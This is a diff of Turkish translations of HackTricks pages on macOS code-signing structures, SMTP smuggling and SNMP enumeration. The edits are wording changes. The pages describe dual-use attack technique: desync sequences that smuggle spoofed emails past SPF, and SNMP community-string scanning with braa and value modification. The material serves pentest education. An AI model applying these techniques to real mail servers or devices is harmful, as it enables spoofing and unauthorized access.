AWS Hacking'i öğrenin ve pratik yapın:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -19,7 +19,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="../../../.gitbook/assets/grt
Mach-o ikili dosyaları, ikili dosya içindeki imzaların **offset** ve **boyutunu** belirten **`LC_CODE_SIGNATURE`** adlı bir yükleme komutu içerir. Aslında, MachOView GUI aracını kullanarak, ikili dosyanın sonunda bu bilgileri içeren **Kod İmzası** adlı bir bölüm bulmak mümkündür:
<figure><img src="../../../.gitbook/assets/image (1).png" alt="" width="431"><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1).png" alt="" width="431"><figcaption></figcaption></figure>
Kod İmzasının sihirli başlığı **`0xFADE0CC0`**'dır. Ardından, bunları içeren süperBlob'un uzunluğu ve blob sayısı gibi bilgiler vardır.\
Bu bilgiyi [kaynak kodda burada](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L276) bulmak mümkündür:
@ -51,14 +51,14 @@ char data[];
} CS_GenericBlob
__attribute__ ((aligned(1)));
```
Yaygın olarak bulunan blob'lar, Kod Dizini, Gereksinimler ve Yetkiler ile Kriptografik Mesaj Sözleşmesi (CMS) içerir.\
Common blobs contained are Code Directory, Requirements and Entitlements and a Cryptographic Message Syntax (CMS).\
Ayrıca, blob'larda kodlanan verilerin **Big Endian** formatında kodlandığını not edin.
Ayrıca, imzaların ikili dosyalardan ayrılabileceği ve `/var/db/DetachedSignatures` dizininde saklanabileceği (iOS tarafından kullanılır) unutulmamalıdır.
## Kod Dizini Blob'u
## Code Directory Blob
[Kod Dizini Blob'unun kod içindeki beyanını](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs_blobs.h#L104) bulmak mümkündür:
[Code Directory Blob'un kod içindeki beyanını](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L104) bulmak mümkündür:
```c
typedef struct __CodeDirectory {
uint32_t magic; /* magic number (CSMAGIC_CODEDIRECTORY) */
@ -118,7 +118,7 @@ Not edin ki, bu yapının farklı versiyonları vardır ve eski olanlar daha az
## Kod İmzalama Sayfaları
Tam ikili dosyanın hash'lenmesi verimsiz ve yalnızca bellekte kısmen yüklendiğinde işe yaramaz olur. Bu nedenle, kod imzası aslında her ikili sayfanın ayrı ayrı hash'lenmesiyle oluşturulan bir hash'ler hash'idir.\
Tam ikili dosyanın hash'lenmesi verimsiz olurdu ve yalnızca bellekte kısmen yüklüyse işe yaramazdı. Bu nedenle, kod imzası aslında her ikili sayfanın ayrı ayrı hash'lenmesiyle oluşturulan bir hash'ler hash'idir.\
Aslında, önceki **Kod Dizini** kodunda **sayfa boyutunun belirtildiğini** görebilirsiniz. Ayrıca, ikilinin boyutu bir sayfa boyutunun katı değilse, **CodeLimit** alanı imzanın nerede sona erdiğini belirtir.
```bash
# Get all hashes of /bin/ps
@ -157,13 +157,13 @@ openssl sha256 /tmp/*.page.*
```
## Yetki Blob'u
Uygulamaların tüm yetkilerin tanımlandığı bir **yetki blob'u** içerebileceğini unutmayın. Ayrıca, bazı iOS ikili dosyaları, yetkilerini özel slot -7'de (slot -5 yerine) belirtebilir.
Uygulamaların tüm yetkilerin tanımlandığı bir **yetki blob'u** içerebileceğini unutmayın. Ayrıca, bazı iOS ikili dosyaları, yetkilerini özel -7 slotunda (özel -5 yetki slotu yerine) belirtebilir.
## Özel Slotlar
MacOS uygulamaları, ikili dosya içinde çalıştırmak için ihtiyaç duydukları her şeye sahip değildir, aynı zamanda **harici kaynaklar** (genellikle uygulamaların **paketinde**) kullanırlar. Bu nedenle, ikili dosya içinde bazı ilginç harici kaynakların hash'lerini içeren bazı slotlar bulunmaktadır.
Aslında, Kod Dizini yapılarında **`nSpecialSlots`** adında özel slotların sayısını belirten bir parametre görmek mümkündür. Özel slot 0 yoktur ve en yaygın olanları (-1'den -6'ya kadar) şunlardır:
Aslında, Kod Dizini yapılarında **`nSpecialSlots`** adında, özel slotların sayısını belirten bir parametre görmek mümkündür. Özel slot 0 yoktur ve en yaygın olanları (-1'den -6'ya kadar) şunlardır:
* `info.plist`'in hash'i (veya `__TEXT.__info__plist` içindeki).
* Gereksinimlerin hash'i
@ -175,7 +175,7 @@ Aslında, Kod Dizini yapılarında **`nSpecialSlots`** adında özel slotların
## Kod İmzalama Bayrakları
Her işlem, çekirdek tarafından başlatılan ve bazıları **kod imzası** tarafından geçersiz kılınabilen bir bitmask ile ilişkilidir. Kod imzalamada dahil edilebilecek bu bayraklar [kodda tanımlanmıştır](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs_blobs.h#L36):
Her süreç, çekirdek tarafından başlatılan ve bazıları **kod imzası** ile geçersiz kılınabilen bir bitmask ile ilişkilidir. Kod imzalamada dahil edilebilecek bu bayraklar [kodda tanımlanmıştır](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs_blobs.h#L36):
```c
/* code signing attributes of a process */
#define CS_VALID 0x00000001 /* dynamically valid */
@ -228,7 +228,7 @@ Her uygulama, yürütülebilmesi için **karşılaması gereken** bazı **gereks
Bir ikili dosyanın gereksinimleri, **özel bir dilbilgisi** kullanır; bu, **ifadelerin** bir akışıdır ve `0xfade0c00` sihirli değeri kullanılarak bloblar olarak kodlanır; **hash'i özel bir kod slotunda** saklanır.
Bir ikili dosyanın gereksinimleri şu şekilde görülebilir:
Bir ikili dosyanın gereksinimleri, şu komutla görülebilir:
{% code overflow="wrap" %}
```bash
@ -243,7 +243,7 @@ designated => identifier "org.whispersystems.signal-desktop" and anchor apple ge
{% endcode %}
{% hint style="info" %}
Bu imzaların sertifika bilgileri, TeamID, ID'ler, yetkilendirmeler ve birçok diğer verileri kontrol edebileceğini unutmayın.
Bu imzaların sertifika bilgileri, TeamID, kimlikler, yetkilendirmeler ve birçok diğer verileri kontrol edebileceğini unutmayın.
{% endhint %}
Ayrıca, `csreq` aracını kullanarak bazı derlenmiş gereksinimler oluşturmak mümkündür:
@ -262,13 +262,13 @@ od -A x -t x1 /tmp/output.csreq
```
{% endcode %}
Bu bilgiyi erişmek ve `Security.framework`'ten bazı API'lerle gereksinimleri oluşturmak veya değiştirmek mümkündür:
Bu bilgilere erişmek ve `Security.framework`'ten bazı API'lerle gereksinimleri oluşturmak veya değiştirmek mümkündür:
#### **Geçerliliği Kontrol Etme**
* **`Sec[Static]CodeCheckValidity`**: SecCodeRef'in gereksinime göre geçerliliğini kontrol eder.
* **`Sec[Static]CodeCheckValidity`**: SecCodeRef'in gereksinim başına geçerliliğini kontrol eder.
* **`SecRequirementEvaluate`**: Sertifika bağlamında gereksinimi doğrular.
* **`SecTaskValidateForRequirement`**: Çalışan bir SecTask'ı `CFString` gereksinimine karşı doğrular.
* **`SecTaskValidateForRequirement`**: Çalışan bir SecTask'ı `CFString` gereksinimi ile doğrular.
#### **Kod Gereksinimlerini Oluşturma ve Yönetme**
@ -277,7 +277,7 @@ Bu bilgiyi erişmek ve `Security.framework`'ten bazı API'lerle gereksinimleri o
* **`SecRequirementCopy[Data/String]`**: Bir `SecRequirementRef`'in ikili veri temsilini alır.
* **`SecRequirementCreateGroup`**: Uygulama grubu üyeliği için bir gereksinim oluşturur.
#### **Kod İmzalama Bilgisine Erişim**
#### **Kod İmzalama Bilgilerine Erişim**
* **`SecStaticCodeCreateWithPath`**: Kod imzalarını incelemek için bir dosya sistemi yolundan `SecStaticCodeRef` nesnesini başlatır.
* **`SecCodeCopySigningInformation`**: Bir `SecCodeRef` veya `SecStaticCodeRef`'den imzalama bilgilerini alır.
@ -288,14 +288,14 @@ Bu bilgiyi erişmek ve `Security.framework`'ten bazı API'lerle gereksinimleri o
* **`SecCodeSignerSetRequirement`**: İmzalama sırasında uygulanacak yeni bir gereksinim belirler.
* **`SecCodeSignerAddSignature`**: Belirtilen imzalayıcı ile imzalanan koda bir imza ekler.
#### **Gereksinimlerle Kodu Doğrulama**
#### **Gereksinimlerle Kod Doğrulama**
* **`SecStaticCodeCheckValidity`**: Belirtilen gereksinimlere karşı bir statik kod nesnesini doğrular.
#### **Ekstra Kullanışlı API'ler**
* **`SecCodeCopy[Internal/Designated]Requirement`: SecCodeRef'den SecRequirementRef al**
* **`SecCodeCopyGuestWithAttributes`**: Belirli özelliklere dayanan bir kod nesnesini temsil eden bir `SecCodeRef` oluşturur, sandboxing için kullanışlıdır.
* **`SecCodeCopyGuestWithAttributes`**: Belirli özelliklere dayanan bir kod nesnesini temsil eden bir `SecCodeRef` oluşturur, sandboxing için yararlıdır.
* **`SecCodeCopyPath`**: Bir `SecCodeRef` ile ilişkili dosya sistemi yolunu alır.
* **`SecCodeCopySigningIdentifier`**: Bir `SecCodeRef`'den imzalama tanımlayıcısını (örneğin, Takım ID'si) alır.
* **`SecCodeGetTypeID`**: `SecCodeRef` nesneleri için tür tanımlayıcısını döndürür.
@ -312,7 +312,7 @@ Bu bilgiyi erişmek ve `Security.framework`'ten bazı API'lerle gereksinimleri o
## `cs_blobs` & `cs_blob`
[**cs\_blob**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ubc_internal.h#L106) yapısı, çalışan sürecin üzerindeki yetki hakkında bilgileri içerir. `csb_platform_binary` ayrıca uygulamanın bir platform ikili olup olmadığını bildirir (bu, bu süreçlerin görev portlarına SEND haklarını korumak gibi güvenlik mekanizmalarını uygulamak için OS tarafından farklı zamanlarda kontrol edilir).
[**cs\_blob**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ubc\_internal.h#L106) yapısı, çalışan sürecin üzerindeki yetki hakkında bilgileri içerir. `csb_platform_binary` ayrıca uygulamanın bir platform ikili dosyası olup olmadığını bildirir (bu, bu süreçlerin görev portlarına SEND haklarını korumak gibi güvenlik mekanizmalarını uygulamak için işletim sistemi tarafından farklı zamanlarda kontrol edilir).
```c
struct cs_blob {
struct cs_blob *csb_next;

View file

@ -21,25 +21,25 @@ Bu tür bir zafiyet [**bu yazıda ilk olarak keşfedilmiştir**](https://sec-con
### Neden
Bu, SMTP protokolünde, e-postada gönderilecek **mesaj verisinin** bir kullanıcı (saldırgan) tarafından kontrol edilmesindendir; bu kullanıcı, alıcıda ekstra e-postalar gizlemek için ayrıştırıcılardaki farklılıklardan yararlanarak özel olarak hazırlanmış veriler gönderebilir. İşte orijinal yazıdan bir örnek:
Bu, SMTP protokolünde, e-postada gönderilecek **mesaj verisinin** bir kullanıcı (saldırgan) tarafından kontrol edilmesindendir; bu kullanıcı, alıcıda ekstra e-postalar gizlemek için ayrıştırıcılardaki farklılıkları istismar eden özel olarak hazırlanmış veriler gönderebilir. İşte orijinal yazıdan bir örnek:
<figure><img src="../../.gitbook/assets/image (8) (1) (1) (1).png" alt=""><figcaption><p><a href="https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png">https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png</a></p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (8) (1) (1) (1) (1).png" alt=""><figcaption><p><a href="https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png">https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png</a></p></figcaption></figure>
### Nasıl
Bu zafiyeti istismar etmek için bir saldırganın, **Outbound SMTP sunucusunun sadece 1 e-posta olduğunu düşündüğü ancak Inbound SMTP sunucusunun birden fazla e-posta olduğunu düşündüğü bazı veriler göndermesi gerekir**.
Bu zafiyeti istismar etmek için bir saldırganın, **Çıkış SMTP sunucusunun sadece 1 e-posta olduğunu düşündüğü ancak Giriş SMTP sunucusunun birden fazla e-posta olduğunu düşündüğü bazı veriler göndermesi gerekir**.
Araştırmacılar, farklı **Inbound sunucuların e-posta mesajının verisinin sonunu farklı karakterler olarak değerlendirdiğini** keşfettiler; bu, Outbound sunucuların yapmadığı bir şeydir.\
Örneğin, verinin normal sonu `\r\n.\r` şeklindedir. Ancak, Inbound SMTP sunucusu `\n.` desteği de sağlıyorsa, bir saldırgan **bu veriyi e-postasına ekleyebilir ve yeni e-postaları gizlemek için SMTP komutlarını göstermeye başlayabilir**; tıpkı önceki resimde olduğu gibi.
Araştırmacılar, farklı **Giriş sunucularının e-posta mesajının verisinin sonu olarak farklı karakterleri kabul ettiğini** keşfettiler; Çıkış sunucularının kabul etmediği karakterlerdir.\
Örneğin, verinin normal sonu `\r\n.\r`'dir. Ancak Giriş SMTP sunucusu `\n.`'yi de destekliyorsa, bir saldırgan sadece **bu veriyi e-postasına ekleyebilir ve yeni e-postaları gizlemek için SMTP komutlarını göstermeye başlayabilir**; tıpkı önceki resimde olduğu gibi.
Elbette, bu yalnızca **Outbound SMTP sunucusu bu veriyi** mesaj verisinin sonu olarak değerlendirmediği takdirde çalışabilir; çünkü bu durumda 1 yerine 2 e-posta görecektir, bu nedenle sonunda bu, bu zafiyette istismar edilen senkronizasyon bozukluğudur.
Elbette, bu yalnızca **Çıkış SMTP sunucusu bu veriyi** mesaj verisinin sonu olarak kabul etmediği takdirde çalışabilir; çünkü bu durumda 1 yerine 2 e-posta görecektir, bu nedenle sonunda bu, bu zafiyette istismar edilen senkronizasyon bozukluğudur.
Potansiyel senkronizasyon bozukluğu verileri:
* `\n.`
* `\n.\r`
Ayrıca, SPF'nin aşıldığını unutmayın; çünkü `user@outlook.com` adresinden `admin@outlook.com` adresine bir e-posta gizlerseniz, **gönderen hala `outlook.com`'dur.**
Ayrıca, SPF'nin aşıldığını unutmayın; çünkü `user@outlook.com`'dan `admin@outlook.com`'a bir e-posta gizlerseniz, **gönderen hala `outlook.com`'dur.**
## **Referanslar**

View file

@ -9,21 +9,21 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.p
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** bizi **takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hack etmek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
Eğer **hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
## Temel Bilgiler
**SNMP - Basit Ağ Yönetim Protokolü** ağdaki farklı cihazları (yönlendiriciler, anahtarlar, yazıcılar, IoT'ler gibi) izlemek için kullanılan bir protokoldür.
**SNMP - Basit Ağ Yönetim Protokolü**, ağdaki farklı cihazları (yönlendiriciler, anahtarlar, yazıcılar, IoT'ler gibi) izlemek için kullanılan bir protokoldür.
```
PORT STATE SERVICE REASON VERSION
161/udp open snmp udp-response ttl 244 ciscoSystems SNMPv3 server (public)
@ -35,20 +35,20 @@ SNMP ayrıca **traps** için **162/UDP** portunu kullanır. Bunlar, **SNMP sunuc
### MIB
SNMP erişiminin üreticiler arasında ve farklı istemci-sunucu kombinasyonlarıyla çalışmasını sağlamak için **Yönetim Bilgi Tabanı (MIB)** oluşturulmuştur. MIB, **cihaz bilgilerini depolamak için bağımsız bir formattır**. Bir MIB, bir cihazın tüm sorgulanabilir **SNMP nesnelerinin** listelendiği **standartlaştırılmış** bir ağaç hiyerarşisinde bulunan bir **metin** dosyasıdır. En az bir **`Nesne Tanımlayıcı` (`OID`)** içerir; bu, gerekli **benzersiz adres** ve bir **isim** ile birlikte, ilgili nesnenin türü, erişim hakları ve açıklaması hakkında bilgi sağlar.\
MIB dosyaları, `Abstract Syntax Notation One` (`ASN.1`) tabanlı ASCII metin formatında yazılmıştır. **MIB'ler veri içermez**, ancak **hangi bilginin nerede bulunacağını** ve neye benzediğini açıklar; bu, belirli OID için dönen değerler veya hangi veri türünün kullanıldığı hakkında bilgi verir.
MIB dosyaları, `Soyut Söz Dizimi Notasyonu Bir` (`ASN.1`) tabanlı ASCII metin formatında yazılmıştır. **MIB'ler veri içermez**, ancak **hangi bilginin nerede bulunacağını** ve neye benzediğini açıklar; bu, belirli OID için dönen değerler veya hangi veri türünün kullanıldığını belirtir.
### OIDs
**Nesne Tanımlayıcıları (OIDs)** kritik bir rol oynar. Bu benzersiz tanımlayıcılar, **Yönetim Bilgi Tabanı (MIB)** içindeki nesneleri yönetmek için tasarlanmıştır.
MIB nesne kimliklerinin en yüksek seviyeleri, çeşitli standart belirleyici kuruluşlara tahsis edilmiştir. Bu en üst seviyelerde, küresel yönetim uygulamaları ve standartları için çerçeve oluşturulmaktadır.
MIB nesne kimliklerinin en yüksek seviyeleri, çeşitli standart belirleyici kuruluşlara tahsis edilmiştir. Bu üst seviyelerde, küresel yönetim uygulamaları ve standartları için çerçeve oluşturulmaktadır.
Ayrıca, satıcılara özel dallar oluşturma özgürlüğü verilmektedir. Bu dallar içinde, kendi ürün serilerine ilişkin yönetilen nesneleri ekleme **özerkliğine** sahiptirler. Bu sistem, farklı satıcılar ve standartlar arasında geniş bir nesne yelpazesini tanımlama ve yönetme için yapılandırılmış ve organize bir yöntem sağlar.
![](<../../.gitbook/assets/SNMP\_OID\_MIB\_Tree (1).png>)
Bir **OID ağacında** **navigasyon** yapmak için buradan web üzerinden erişebilirsiniz: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) veya **bir OID'nin ne anlama geldiğini görmek için** (örneğin `1.3.6.1.2.1.1`) [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1) adresini ziyaret edebilirsiniz.\
[1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) içinde yer alan bazı **iyi bilinen OID'ler** bulunmaktadır; bunlar MIB-2 tanımlı Basit Ağ Yönetim Protokolü (SNMP) değişkenlerine atıfta bulunur. Ve bu OID'lerden elde edebileceğiniz bazı ilginç ana bilgisayar verileri (sistem verileri, ağ verileri, süreç verileri...) vardır.
Bir **OID ağacında** buradan **gezin**: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) veya **bir OID'nin ne anlama geldiğini** görmek için (örneğin `1.3.6.1.2.1.1`) [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1) adresini ziyaret edin.\
[1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) içinde tanımlanan MIB-2'ye atıfta bulunan bazı **iyi bilinen OID'ler** vardır. Ve bu OID'lerden elde edebileceğiniz bazı ilginç ana bilgisayar verileri (sistem verileri, ağ verileri, süreç verileri...) bulunmaktadır.
### **OID Örneği**
@ -65,18 +65,18 @@ Bu adresin ayrıntılııklaması:
* 4 bu değer, bu cihazın özel bir organizasyon tarafından yapıldığını ve devlet tarafından yapılmadığını belirler.
* 1 bu değer, cihazın bir işletme veya ticari varlık tarafından yapıldığını belirtir.
Bu ilk altı değer, tüm cihazlar için genellikle aynıdır ve size temel bilgileri verir. Bu sayı dizisi, cihaz devlet tarafından yapıldığında hariç, tüm OID'ler için aynı olacaktır.
Bu ilk altı değer, tüm cihazlar için genellikle aynıdır ve size temel bilgileri verir. Bu sayı dizisi, cihaz devlet tarafından yapılmadığı sürece tüm OID'ler için aynı olacaktır.
Sonraki sayı dizisine geçelim.
Sonraki sayı grubuna geçelim.
* 1452 bu cihazı üreten organizasyonun adını verir.
* 1 cihazın türünü açıklar. Bu durumda, bir alarm saatidir.
* 2 bu cihazın uzaktan terminal birimi olduğunu belirler.
Kalan değerler, cihaz hakkında belirli bilgiler verir.
Geri kalan değerler, cihaza özgü bilgileri verir.
* 5 ayrık bir alarm noktasını belirtir.
* 1 cihazdaki belirli nokta
* 1 cihazdaki belirli bir nokta
* 3 port
* 21 portun adresi
* 1 port için gösterim
@ -87,10 +87,10 @@ Kalan değerler, cihaz hakkında belirli bilgiler verir.
SNMP'nin 2 önemli sürümü vardır:
* **SNMPv1**: Ana sürüm, hala en yaygın olanıdır, **kimlik doğrulama bir dizeye** (topluluk dizesi) dayanır ve **düz metin** içinde iletilir (tüm bilgiler düz metin içinde iletilir). **Sürüm 2 ve 2c** de **trafiği düz metin** içinde gönderir ve **kimlik doğrulama olarak bir topluluk dizesi kullanır**.
* **SNMPv1**: Ana sürüm, hala en yaygın olanıdır, **kimlik doğrulama bir dizeye** (topluluk dizesi) dayanır ve **düz metin** içinde iletilir (tüm bilgiler düz metin olarak iletilir). **Sürüm 2 ve 2c** de **düz metin** içinde trafik gönderir ve **kimlik doğrulama olarak bir topluluk dizesi kullanır**.
* **SNMPv3**: Daha iyi bir **kimlik doğrulama** biçimi kullanır ve bilgiler **şifreli** olarak iletilir (bir **sözlük saldırısı** gerçekleştirilebilir ancak SNMPv1 ve v2'ye göre doğru kimlik bilgilerini bulmak çok daha zor olacaktır).
### Topluluk Düzleri
### Topluluk Düzeyleri
Daha önce belirtildiği gibi, **MIB'de saklanan bilgilere erişmek için sürüm 1 ve 2/2c'de topluluk dizesini, sürüm 3'te ise kimlik bilgilerini bilmeniz gerekir.**\
**2 tür topluluk dizesi** vardır:
@ -98,8 +98,8 @@ Daha önce belirtildiği gibi, **MIB'de saklanan bilgilere erişmek için sürü
* **`public`** esasen **sadece okuma** işlevleri
* **`private`** **Okuma/Yazma** genel olarak
**Bir OID'nin yazılabilirliği, kullanılan topluluk dizesine bağlıdır**, bu nedenle **"public"** kullanıldığını bulsanız bile, bazı değerleri **yazma** yeteneğine sahip olabilirsiniz. Ayrıca, **her zaman "Sadece Okuma"** olan nesneler de mevcut olabilir.\
Bir nesneye **yazmaya** çalıştığınızda, **`noSuchName` veya `readOnly` hatası** alınır\*\*.\*\*
**Bir OID'nin yazılabilirliği, kullanılan topluluk dizesine bağlıdır**, bu nedenle **"public"** kullanıldığını bulsanız bile bazı değerleri **yazma** yeteneğine sahip olabilirsiniz. Ayrıca, her zaman **"Sadece Okuma"** olan nesneler de **mevcut olabilir**.\
Bir nesneye **yazmaya** çalıştığınızda **`noSuchName` veya `readOnly` hatası** alınır\*\*.\*\*
Sürüm 1 ve 2/2c'de **kötü** bir topluluk dizesi kullanırsanız, sunucu **yanıt vermez**. Yani, yanıt verirse, **geçerli bir topluluk dizesi kullanılmıştır**.
@ -152,7 +152,7 @@ Ağ yönetimi alanında, belirli yapılandırmalar ve parametreler kapsamlı izl
### Erişim Ayarları
**Tam OID ağacına** erişimi sağlayan iki ana ayar, ağ yönetiminde kritik bir bileşendir:
**Tam OID ağacına** erişimi sağlayan iki ana ayar vardır; bu, ağ yönetiminde kritik bir bileşendir:
1. **`rwuser noauth`**, kimlik doğrulama gerektirmeden OID ağacına tam erişim izni vermek için ayarlanmıştır. Bu ayar basittir ve sınırsız erişim sağlar.
2. Daha spesifik kontrol için erişim şu şekilde verilebilir:
@ -171,11 +171,11 @@ SNMP aracılığıyla bir Windows sisteminin çeşitli yönlerini izlemek için
* **Depolama Birimleri**: Depolama birimlerinin izlenmesi `1.3.6.1.2.1.25.2.3.1.4` ile sağlanır.
* **Yazılım Adı**: Bir sistemde yüklü yazılımı tanımlamak için `1.3.6.1.2.1.25.6.3.1.2` kullanılır.
* **Kullanıcı Hesapları**: `1.3.6.1.4.1.77.1.2.25` değeri, kullanıcı hesaplarının izlenmesini sağlar.
* **TCP Yerel Portları**: Son olarak, `1.3.6.1.2.1.6.13.1.3`, aktif ağ bağlantılarına dair içgörü sağlayarak TCP yerel portlarının izlenmesi için ayrılmıştır.
* **TCP Yerel Portları**: Son olarak, `1.3.6.1.2.1.6.13.1.3`, TCP yerel portlarının izlenmesi için ayrılmıştır ve aktif ağ bağlantıları hakkında bilgi verir.
### Cisco
Cisco ekipmanınız varsa bu sayfaya göz atın:
Eğer Cisco ekipmanınız varsa bu sayfaya göz atın:
{% content-ref url="cisco-snmp.md" %}
[cisco-snmp.md](cisco-snmp.md)
@ -191,9 +191,9 @@ Eğer SNMP hizmeti içinde **değerler yazmanıza** izin veren bir **dize** vars
## **Kapsamlı SNMP**
[Braa](https://github.com/mteg/braa), toplu bir SNMP tarayıcısıdır. Böyle bir aracın amaçlanan kullanımı, elbette, SNMP sorguları yapmaktır ancak net-snmp'deki snmpwalk'tan farklı olarak, aynı anda onlarca veya yüzlerce ana bilgisayarı sorgulayabilir ve tek bir işlemde çalışır. Böylece, çok az sistem kaynağı tüketir ve taramayı ÇOK hızlı yapar.
[Braa](https://github.com/mteg/braa), toplu bir SNMP tarayıcısıdır. Böyle bir aracın amaçlanan kullanımı, elbette, SNMP sorguları yapmaktır ancak net-snmp'den snmpwalk'tan farklı olarak, aynı anda onlarca veya yüzlerce ana bilgisayarı sorgulayabilir ve tek bir işlemde çalışır. Böylece, çok az sistem kaynağı tüketir ve taramayı ÇOK hızlı yapar.
Braa, KENDİ snmp yığınına sahiptir, bu nedenle net-snmp gibi herhangi bir SNMP kütüphanesine ihtiyaç duymaz.
Braa, kendi SNMP yığınına sahiptir, bu nedenle net-snmp gibi herhangi bir SNMP kütüphanesine ihtiyaç duymaz.
**Sözdizimi:** braa \[Topluluk-dizesi]@\[SNMP sunucusunun IP'si]:\[iso id]
```bash
@ -229,7 +229,7 @@ grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
```
## SNMP değerlerini değiştirme
Değerleri değiştirmek için _**NetScanTools**_ kullanabilirsiniz. Bunu yapmak için **özel dizeyi** bilmeniz gerekecek.
Değerleri **değiştirmek** için _**NetScanTools**_ kullanabilirsiniz. Bunu yapmak için **özel dizeyi** bilmeniz gerekecek.
## Spoofing
@ -241,9 +241,9 @@ Eğer yalnızca bazı IP'lerin SNMP hizmetini sorgulamasına izin veren bir ACL
* snmpd.conf
* snmp-config.xml
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hack kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
Eğer **hackleme kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -292,7 +292,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.p
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>

View file

@ -15,9 +15,9 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.p
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
